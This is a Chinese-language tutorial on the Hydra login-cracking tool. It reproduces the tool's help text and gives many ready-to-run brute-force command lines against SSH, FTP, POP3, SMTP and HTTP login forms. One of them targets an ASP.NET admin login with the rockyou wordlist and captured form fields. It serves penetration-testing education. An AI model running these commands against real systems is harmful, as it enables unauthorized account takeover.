Hydra

Hydra

Hydra是一款著名的网络登录破解工具,它支持多种协议来攻击远程认证服务,尝试猜测用户名和密码。

Hydra v9.5(c)2023年由van Hauser/THC与David Maciejak开发 - 请勿在军事或秘密服务机构中使用,或用于非法目的(这是不具约束力的,这些人无论如何都会无视法律和道德)。

语法:hydra -L 文件] [-p 密码 | [-C 文件]] [-e nsr] [-o 文件] [-t 任务数] [-M 文件 [-T 任务数]] [-w 时间] [-W 时间] [-f] [-s 端口] [-x 最小值:最大值:字符集] [-c 时间] [-ISOuvVd46] [-m 模块选项] [服务://服务器[:端口][/选项]]

选项:
  -R        恢复之前中断/崩溃的会话
  -I        忽略现有的恢复文件(不等待10秒)
  -S        执行SSL连接
  -s 端口   如果服务在不同的默认端口上,请在此定义
  -l 登录名 或 -L 文件  使用登录名登录,或从文件加载多个登录名
  -p 密码   或 -P 文件  尝试密码PASS,或从文件加载多个密码
  -x 最小值:最大值:字符集  密码暴力破解生成,输入"-x -h"获取帮助
  -y        禁用在暴力破解中使用符号,参见上文
  -r        对于选项-x,使用非随机的洗牌方法
  -e nsr    尝试“n”空密码,“s”登录作为密码和/或“r”反向登录
  -u        围绕用户循环,而不是密码(有效!与-x一起使用时暗示)
  -C 文件   冒号分隔的“登录名:密码”格式,而不是-L/-P选项
  -M 文件   攻击服务器列表,每行一个条目,':'指定端口
  -o 文件   将找到的登录名/密码对写入文件而不是标准输出
  -b 格式   指定-o文件的格式:文本(默认)、json、jsonv1
  -f / -F   当找到登录名/密码对时退出(-M:每个主机-f,全局-F)
  -t 任务数  每个目标并行运行的连接数(默认:16)
  -T 任务数  总体并行运行的连接数(对于-M,默认:64)
  -w / -W 时间  等待响应的时间(32)/每个线程之间连接的时间(0)
  -c 时间   所有线程上每次登录尝试的等待时间(强制-t 1)
  -4 / -6   使用IPv4(默认)/ IPv6地址(也要在-M中始终使用[])
  -v / -V / -d  详细模式 / 显示每次尝试的登录名+密码 / 调试模式
  -O        使用旧的SSL v2和v3
  -K        不重做失败的尝试(适用于-M大规模扫描)
  -q        不打印连接错误的消息
  -U        服务模块使用详情
  -m 选项   模块特定的选项,有关信息请参阅-U输出
  -h        更多命令行选项(完整帮助)
  服务器    目标:DNS、IP或192.168.0.0/24(此项或-M选项)
  服务      要破解的服务(见下方支持的协议)
  选项      一些服务模块支持额外的输入(-U获取模块帮助)

支持的服务:adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra是一个猜测/破解有效登录名/密码对的工具。
根据AGPL v3.0许可证授权。最新版本始终可在以下地址获得;
https://github.com/vanhauser-thc/thc-hydra
请勿在军事或秘密服务机构中使用,或用于非法目的。(这是一个愿望且不具约束力 - 大多数这样的人无论如何都不关心法律和道德 - 并告诉自己他们是好人之一。)
这些服务未被编译进入:afp ncp oracle sapr3 smb2。

使用HYDRA_PROXY_HTTP或HYDRA_PROXY环境变量进行代理设置。
例如:% export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150(或:socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt(最多64个条目)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt(最多64个条目)

示例:
  hydra -l 用户名 -P 密码列表.txt ftp://192.168.0.1
  hydra -L 用户列表.txt -p 默认密码 imap://192.168.0.1/PLAIN
  hydra -C 默认值.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l 管理员 -p 密码 ftp://[192.168.0.0/24]/
  hydra -L 登录名.txt -P 密码.txt -M 目标.txt ssh

下是一些Hydra的常用操作:

基本的密码破解 :

hydra -l username -p password 192.168.56.112 ssh

在这个例子中,Hydra尝试使用单个用户名(-l)和密码(-p)来破解目标IP地址上的SSH服务。

使用密码列表 :

hydra -l username -P /path/to/password.list 192.168.56.112 ftp

-P 参数后面跟着的是密码列表的文件路径,Hydra将尝试这个列表中的所有密码来破解FTP服务。

使用用户名列表和密码列表 :

hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 ssh

-L 参数用于指定用户名列表,Hydra将会尝试列表中的每一个用户名和密码的所有组合。

指定端口 :

hydra -l username -p password -s 8080 192.168.56.112 ssh

如果目标服务运行在非标准端口上,可以使用 -s 参数来指定端口号。

使用字典攻击 :

hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 http-get
hydra -L /path/to/username.list -P /path/to/password.list http-get://192.168.56.112/webdev
hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 http-get /webdev

字典攻击会使用预先准备好的用户名和密码列表来尝试登录。

针对特定的登录表单进行攻击 :

hydra 192.168.56.112 http-form-post "/login.php:username=^USER^&password=^PASS^:F=incorrect"

http-form-post攻击类型,后面跟着的是登录表单的路径数据失败时页面上的标识

可通过burp 抓取数据来进行爆破

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.180.175 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:__VIEWSTATE=XEBGWvnMRZS77rLCeFAdMgu1oF5Hokc7JFpCDqBbRJFDw4UZtXMxjkWj7QAilVzSeRhmjncMvgeT58BQcqUYUWswMuL0uDcjkoAb1OM9NkTGTyxicAMO2hW14zo8D3CBicGoirEoJzTpfMxs6FrFnLyflwWpy1KQhhV7kWLuXBD7N1Mh&__EVENTVALIDATION=1ccDC6raOQNiZ7wTaYFJMLOzj3MkvidIaJ8vXwyrjMGX3dtT9ObYWHYf%2BlQAsaYBj8B9dnUQ%2Bni9zZNPhwHr65UK7NnYYyIyl95WuaamT%2F23wQr2JSUkixe8lH2uTCQsgSzj%2ByzFrqG6qDhtpvWxa7IrdkbDOpurSy7CAxmAHrlcE4TG&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed"

执行SSL连接

hydra 192.168.56.112 -S http-form-post "/login.php:username=^USER^&password=^PASS^:F=incorrect"

多线程 :

hydra -l username -P /path/to/password.list -t 16 192.168.56.112 pop3

-t 参数用于设置线程数,这里设置为16,意味着Hydra会并发运行16个线程来加快破解速度。

输出结果到文件 :

hydra -l username -P /path/to/password.list 192.168.56.112 https -o /path/to/output.txt

-o 参数用于指定输出文件路径,成功的登录尝试会被记录到这个文件中。

恢复中断的攻击 :

hydra -l username -P /path/to/password.list -R 192.168.56.112 smtp

-R 参数告诉Hydra从上次中断的位置继续攻击。